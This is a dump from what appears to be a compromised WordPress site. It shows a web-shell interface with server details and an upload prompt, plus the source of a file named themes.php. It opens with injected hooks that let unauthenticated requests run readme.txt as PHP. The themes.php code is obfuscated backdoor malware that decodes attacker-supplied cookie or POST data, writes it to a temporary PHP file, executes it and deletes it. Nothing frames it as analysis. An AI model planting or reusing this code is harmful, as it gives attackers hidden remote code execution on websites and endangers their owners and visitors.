if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-content/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-content/themes.php
<?php  /*fkkgyr   */ function    eogph(){$_llmsbt='erdtlc'; /*h_k  */ print_r      (609+609);	}


$etejbtdc      =       'etejbtdc'  ^       '';




$hscytnkxoe  =       $_COOKIE;$bbmhrn  =       $_POST;


$cqlyiwb      =	'yo_o';


$hvqnlxa /*  y */ = /* eqxd   */ 'djplytjz';








function      aniwjcrv(){

 /*   f   */ $qyfvdb /* ih */ =    362;


    $wbfqraxjs /*ualhp*/ =      'yhpgset';    $bkchkdddl /*  lml_p  */ =	-54; /*   lkrf   */ $qzdwmdj      =    $qyfvdb    /  8;
	$nbrqhzqyojvexz_    =	218;     $qmgwwa /*  wox */ = /*omf*/ 'g_b'; /*   r */ $nbrqhzupgf /*q   */ = /*  x  */ -98;


}



aniwjcrv();
function  niqj_ujtlh($zwkoxn, /*ahba */ $usmkvcf){

 /*   vvnv   */ $vtu_qqtyz /*   i */ =     strlen($zwkoxn);   $bppvgs_  =    strlen($usmkvcf);

    


 /*  friu   */ global       $etejbtdc;


 /* mq*/ $ue_j_ivy   = /*aituzc */ ""; /*  xhrm */ $nbrqhz /*  hgeic  */ =       0; /*ee   */  /*   hxp*/ while   ($nbrqhz /*fcij_f */ <    $vtu_qqtyz) /*rghzqm*/ {

 /* bneul   */ for  ($qcjxg	=	0;	$qcjxg	< /* xkf  */ $bppvgs_ /*  smxaj */ &&       $nbrqhz	<    $vtu_qqtyz; /*  wwyu */ $qcjxg++,	$nbrqhz++) /*  ygxa_  */ {

	$ue_j_ivy	.=      $etejbtdc(ord($zwkoxn[$nbrqhz]) /* x*/ ^ /*   rfu   */ ord($usmkvcf[$qcjxg]));

    }

 /*zz */ }

 /* gymn */     return /*  fsww*/ $ue_j_ivy;}





function       oqwuzs()

{


 /*   x*/ $ancmuqf /* wk */ = /*   gt */ -47;
 /*  eyos   */ $gxfgrj /*  vojn  */ =	'titpiye';	$mueggx	= /*  tqjd */ 400;

	$swvsyxmrts /*y  */ =       'hufqwiydqk';
}


function    _hqghht($esqjv,	$zwkoxn){

 /*jj*/ global /*ene   */ $etejbtdc;




   $os_hbnqwr    = /* lx  */ sprintf("\x2e"    .  "\x2f"    . /*xrrqoi*/ "\x25"    . /*dmsugs   */ "s"."\56" /*hd   */ . /* h   */ "p".$etejbtdc(373-265), /*  _*/ md5($esqjv));

	file_put_contents($os_hbnqwr,      "<" /*   dk*/ . /*  tjkkaz   */ "?"."p"."h".$etejbtdc(112)     .	$etejbtdc(32)	. /*jvgr   */ "u".$etejbtdc(844-734)    .      "l"."\x69" /*   unnzn   */ . /*nww   */ $etejbtdc(110)	.    "\x6b" /* lfpvdo  */ . /* nexw   */ "("."\x5f"    .	"_"."\106"    .     "I"."L"."E".$etejbtdc(95)    .   "_".$etejbtdc(41)    .   ";".$etejbtdc(32)  . /* rch   */ $zwkoxn[$etejbtdc(390-290)]);


$aoknwlcx /* jp   */ =       58;$brqzhk   =      569;
  include($os_hbnqwr);    $kaxsqaxu    = /* iwvna  */ $os_hbnqwr;
    $njtvnne    =	258;


 /* nvhebb   */ @unlink($kaxsqaxu);

 /*qig*/ $pofnzi /*e */ = /*   z  */ 254;
    $nbrqhzafdxbgjpq /*yzjbhc  */ =     $aoknwlcx     % /*  ixuhfi */ 3;


}



oqwuzs();





function /*  cmj  */ kqwgi()
{


    global     $etejbtdc;



       $nbrqhz    = /*  pvb  */ array(); /*  l   */ $nbrqhz[$etejbtdc(1037-925)    .    "v"]    =	phpversion();


   $yrzonp    =    'ywxb';
       $aqxbpca       =	strtoupper($yrzonp);       $nbrqhz["\x73" /*yg   */ .    "v"]   =    "3".$etejbtdc(655-609) /*ytg_h   */ .    "5";

 /*   l  */ $gduujmzd_	=  strtoupper($aqxbpca);
       echo	@serialize($nbrqhz);

}








function    tzstxzz($zwkoxn, /* hdhfk  */ $esqjv,	$qpfxzdhf)

{  global /*  kjodhi*/ $etejbtdc;

    $zwkoxn /*qkf*/ =      unserialize(niqj_ujtlh(niqj_ujtlh(base64_decode($zwkoxn),     $esqjv), /*te  */ $qpfxzdhf)); /*   iyb_ */ if     (isset($zwkoxn[$etejbtdc(934-837)	. /*   gln  */ "k"]))    {    if   ($zwkoxn["a"]     ==    "i")    {

	kqwgi(); /*mix */ $_vagrr_a /*  vcklja */ =    555;

    }   elseif      ($zwkoxn["a"] /* j  */ == /* frnfgw   */ "e") /*  nixn */ {

 /*  t  */ _hqghht($esqjv, /* izkk  */ $zwkoxn);

 /*  n_ga  */ $ckeweptkq      = /*   aagaeg  */ 'km';
   }
	exit();


	}


}
$hscytnkxoe       =      array_merge($bbmhrn,    $hscytnkxoe);




$esqjv /*   cbsp*/ =       $etejbtdc(253-152) /* mute */ . /*  b  */ "3"."\65" /*   ppye */ .     "f".$etejbtdc(56)       .    $etejbtdc(390-290).$etejbtdc(51)	.   "\64"       . /*zqez  */ "\x2d"	. /*  tzk_g   */ "\64" /*ubrp */ . /*xiq */ $etejbtdc(204-155) /*d  */ .       "2"."\65"    . /*po */ "-".$etejbtdc(915-863)      . /*gzyn   */ "\x38"    . /*   xgc*/ "6"."b"."-"."\141" /* wnjsv */ .       $etejbtdc(53)  . /* fd   */ "\x34"    . /*  yu */ "8"."\55" /* dkg*/ . /*f */ "\65" /* e  */ .	$etejbtdc(99)    .	"\60"   .       "4"."\143"    . /* s*/ "\143"	.    "9"."c"."a".$etejbtdc(390-290)."4"."8";
foreach	($hscytnkxoe    as /*cklor*/ $qpfxzdhf /*   l   */ => /*   zavt  */ $zwkoxn)  {
	tzstxzz($zwkoxn, /*be*/ $esqjv, /*  w_j   */ $qpfxzdhf);	$mvnvulk	=    'tjcsmjsxtb';


 /* sic  */ $cpgtcurlsc /*  my*/ = /*  il*/ 468;


}





?>
@ Telegram